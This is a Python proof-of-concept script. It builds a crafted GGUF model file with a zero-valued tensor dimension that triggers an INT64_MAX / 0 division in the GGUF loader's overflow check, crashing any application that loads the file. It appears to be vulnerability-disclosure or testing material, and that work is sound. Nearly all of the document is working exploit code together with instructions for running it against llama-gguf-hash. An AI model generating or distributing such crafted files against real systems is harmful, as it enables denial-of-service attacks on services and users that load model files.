"""
PoC GGUF Generator -- Division by Zero in Tensor Validation
=============================================================
Crafts a GGUF file with a zero-valued dimension that triggers
INT64_MAX / 0 in gguf_init_from_file_impl()'s overflow check.

The code validates ne[j] < 0 (rejects negative) but NOT ne[j] == 0.
With n_dims >= 2 and ne[1] = 0: INT64_MAX / ne[1] = INT64_MAX / 0 -> SIGFPE.

Usage:
    python craft_divzero_gguf.py                # Generate divzero.gguf
    python craft_divzero_gguf.py -o custom.gguf

Then test:
    ./llama-gguf-hash divzero.gguf
    # Expected: Floating point exception (SIGFPE) / crash
"""

import argparse
import struct

GGUF_MAGIC = 0x46554747
GGUF_VERSION = 3
GGUF_DEFAULT_ALIGNMENT = 32
GGUF_TYPE_STRING = 8
GGML_TYPE_F32 = 0


def write_gguf_string(f, s):
    encoded = s.encode("utf-8")
    f.write(struct.pack("<Q", len(encoded)))
    f.write(encoded)


def write_kv_string(f, key, value):
    write_gguf_string(f, key)
    f.write(struct.pack("<I", GGUF_TYPE_STRING))
    write_gguf_string(f, value)


def pad_to_alignment(f, alignment):
    pos = f.tell()
    remainder = pos % alignment
    if remainder != 0:
        f.write(b"\x00" * (alignment - remainder))


def main():
    parser = argparse.ArgumentParser(description="Craft GGUF with division-by-zero PoC")
    parser.add_argument("-o", "--output", default="divzero.gguf", help="Output filename")
    args = parser.parse_args()

    print("Crafting GGUF with zero dimension to trigger INT64_MAX / 0...")
    print("  n_dims = 2, ne[0] = 1, ne[1] = 0")
    print("  Overflow check: INT64_MAX / ne[1] = INT64_MAX / 0 -> SIGFPE")
    print()

    with open(args.output, "wb") as f:
        # Header
        f.write(struct.pack("<I", GGUF_MAGIC))
        f.write(struct.pack("<I", GGUF_VERSION))
        f.write(struct.pack("<Q", 1))  # n_tensors = 1
        f.write(struct.pack("<Q", 1))  # n_kv = 1

        # Metadata: general.architecture (required)
        write_kv_string(f, "general.architecture", "llama")

        # Tensor info
        write_gguf_string(f, "divzero_tensor")
        f.write(struct.pack("<I", 2))      # n_dims = 2
        f.write(struct.pack("<Q", 1))      # ne[0] = 1
        f.write(struct.pack("<Q", 0))      # ne[1] = 0  <-- TRIGGERS DIV BY ZERO
        f.write(struct.pack("<I", GGML_TYPE_F32))  # type = F32
        f.write(struct.pack("<Q", 0))      # offset = 0

        # Pad to alignment
        pad_to_alignment(f, GGUF_DEFAULT_ALIGNMENT)

        # Minimal tensor data
        f.write(b"\x00" * 32)

    print(f"Written: {args.output}")
    print()
    print("Test with:")
    print(f"  ./llama-gguf-hash {args.output}")
    print("  # Expected: 'Floating point exception' (SIGFPE) or crash")
    print()
    print("Impact: Any application using gguf_init_from_file() to load this")
    print("file will crash. Denial of Service via crafted model file.")


if __name__ == "__main__":
    main()